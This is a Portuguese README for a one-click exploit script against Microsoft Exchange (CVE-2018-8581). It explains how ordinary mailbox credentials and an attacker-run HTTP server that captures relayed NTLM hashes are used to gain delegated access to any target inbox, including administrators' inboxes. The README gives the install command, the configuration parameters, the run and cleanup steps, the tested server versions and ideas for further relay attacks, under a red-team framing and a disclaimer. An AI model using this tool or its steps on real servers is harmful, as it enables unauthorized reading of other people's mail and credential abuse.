
CVE-2018-8581 | Vulnerabilidade de elevação de privilégio no Microsoft Exchange Server
Esta é uma vulnerabilidade de movimento lateral e escalonamento de privilégios ao nível da caixa de correio.
De posse das credenciais de uma conta de e-mail com privilégios comuns, ela permite assumir o controle, por meio de delegação, da caixa de entrada de outros usuários (incluindo administradores de domínio).
Este script EXP é uma versão aprimorada e de um clique, modificada a partir do PoC original. Após a configuração dos parâmetros relevantes, ele adiciona e remove automaticamente a delegação da caixa de entrada (inbox) do e-mail alvo, para facilitar que o departamento de segurança do cliente e a equipe vermelha realizem uma simulação de ataque contra uma empresa autorizada.
O PoC original exige dois scripts trabalhando em conjunto para adicionar regras de recebimento de mensagens, o que não é muito prático no trabalho real de uma equipe vermelha para o cliente. Além disso, além de exigir a conta de e-mail, o PoC original também exige a definição do SID do usuário do e-mail alvo. Porém, o método para obter o SID do usuário mencionado no artigo de referência não pôde ser reproduzido com sucesso nos meus testes em ambientes Exchange Server 2010 e 2013 (o 2010 não possui a opção relevante e o 2013 informa falta de permissão para a operação). Por fim, minha abordagem foi primeiro realizar uma delegação reversa para obter o SID do usuário do e-mail alvo e depois remover a delegação.
Instale o python-ntlm
pip install python-ntlm
Configure os parâmetros relevantes no seguinte trecho de código do script
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Execute o script e, enquanto isso, tome um chá de goji e aguarde um minuto
![]()
Nesse momento, a caixa de entrada (inbox) de TARGET_EMAIL foi delegada com sucesso para CONTROLLED_EMAIL
Visualize a caixa de entrada do e-mail alvo no OWA ou no Outlook
img2
Altere FLAG para 0, execute o script novamente, tome mais um chá de goji e aguarde mais um minuto para remover a delegação adicionada anteriormente
img3
Sem permissão para acessar novamente
Python 2.7.14
Exchange Server 2010 (bastante estável; praticamente todos os testes em Exchange Server 2010 tiveram sucesso)
Exchange Server 2013 (diferenças de ambiente podem causar falhas)
Exchange Server 2016 (diferenças de ambiente podem causar falhas)
Mais requisições da API EWS SOAP podem ser modificadas dentro da função make_relay_body().
Nas tentativas de usar ainda mais os hashes Net-NTLM capturados para ataques de relay contra outros hosts que não exigem assinatura SMB, descobri que os hashes obtidos eram todos da conta do Exchange Server... Talvez, caso a assinatura SMB esteja desabilitada no Exchange Server, seja possível usá-los para ataques de relay entre protocolos contra o Exchange Server; no entanto, essa situação é extremamente difícil de encontrar na prática...
Este script é apenas para fins de estudo e compartilhamento técnico. O usuário deve cumprir as leis locais aplicáveis. O autor não se responsabiliza por qualquer responsabilidade legal decorrente de outros usos; baixar e usar o script significa que o usuário concorda com os termos acima.